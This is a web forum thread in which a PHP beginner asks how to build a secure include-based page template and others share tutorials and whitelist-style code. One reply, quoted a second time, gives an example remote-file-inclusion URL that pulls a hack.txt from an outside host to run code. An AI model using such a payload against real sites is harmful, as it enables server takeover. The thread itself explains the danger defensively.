Jump to content

Recommended Posts

Greetings. I've been doing web design (HTML, CSS) for about 7 years as a hobby, never professionally, and I've never learnt PHP (I've seldom had server access to use it). I hope to one day (perhaps starting now?) learn the basics of PHP and to employ useful/necessary PHP techniques into future web designs.

 

At the moment I just need help creating a basic web layout using the Include function while still remaining secure. I've come here because I had trouble finding any good tutorials on the internet - I could find very few tutorials and those that I found were lacking vital information; I tried following the tutorials but ended up stuck or confused.

 

I want to make a typical, simple PHP layout template -- Header and Footer (simple enough), Content (i.e. the area where the pages I want to be accessed appear) and a navigation bar (with links which Include PHP files to be displayed in the Content area, e.g. href="index.php?content=example").

 

I don't want all the content to be included in one single file like one tutorial suggested. I want each hyperlink to open content from separate PHP files. I think this is fairly obvious but I'm just making this clear.  :)

 

I hope I'm doing the right thing by posting this here and I hope all of this made sense. I'm not savvy with PHP or PHP jargon. I'll also mention that I did a search through the forums for any tutorials/guides but I wasn't able to find any, unfortunately.

 

Thank you in advance for your help.

Here is a link to the first 'PHP' site that I used as a learning tool.

 

:lol:

 

That was a while ago, and it would be different today, but have a look and see what you can learn from it.

 

Today's version: http://jlhaslip.com/modular/

 

Both work from a single page and use 'flat-files' so you aren't dealing with having to learn the Database stuff with it.

Thanks for the link. I tried the code that Masna gave me and it works the way I want it to. I'm still not sure how his code is allegedly unsecure, and if it is I'd like a short explanation and a solution if possible. Thank you very much for the help.

Just noticed that I forgot to post the first Link in my previous reply.

It works similar to the above code, except it uses an array of valid pages to access, so it is 'more secure' than a straight swap for the Get variable.

 

http://jlhaslip.com/template/?page=index

 

Walk trough that site, page by page, to see the php code.

back in the back people use to

  Quote

  Quote

that code above is very bad! security issues!

 

Care to elaborate?

 

okay... back in the day about 5-7 years ago, php nuke use to use that type of format for some of their file extentions, and I've had to clean up after their bad work because people would inject a file from their own server...

 

let me explain how it works...

hack code will be in file called hack.txt

your url will read...

http://www.site.com/page.php?template=index.php

all I would have to do is...

http://www.site.com/page.php?template=http://www.mysite.com/hack.txt&run=what ever code I want...

 

its simple security issue... if you include you are including a text file which has php in it, and it works just like a regular php file on your server, leaving exploits all over the place. access to password file anything you want.

 

 

 

----

 

apologize, I miss read your code, its some what security proof although not a way I would do it.

  Quote

back in the back people use to

  Quote

  Quote

that code above is very bad! security issues!

 

Care to elaborate?

 

okay... back in the day about 5-7 years ago, php nuke use to use that type of format for some of their file extentions, and I've had to clean up after their bad work because people would inject a file from their own server...

 

let me explain how it works...

hack code will be in file called hack.txt

your url will read...

http://www.site.com/page.php?template=index.php

all I would have to do is...

http://www.site.com/page.php?template=http://www.mysite.com/hack.txt&run=what ever code I want...

 

its simple security issue... if you include you are including a text file which has php in it, and it works just like a regular php file on your server, leaving exploits all over the place. access to password file anything you want.

 

 

 

----

 

apologize, I miss read your code, its some what security proof although not a way I would do it.

 

LOL!

 

Did you even read the code I posted? I didn't include whatever was filled in the appropriate $_GET variable, I used an if--else-if to check to see if whatever was filled in the appropriate $_GET variable matched one of a few various, specific cases.

 

Pay attention, and apply what you know to situations which you encounter in life. Don't just regurgitate what you know from what has happened in potentially similar cases. It's a very easy trap to fall into. And it makes you look quite stupid.

 

  Quote
apologize, I miss read your code, its some what security proof although not a way I would do it.

 

I appreciate the apology. And, it's completely "security proof." Why wouldn't you do it? It's organized, simple, and effective.

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.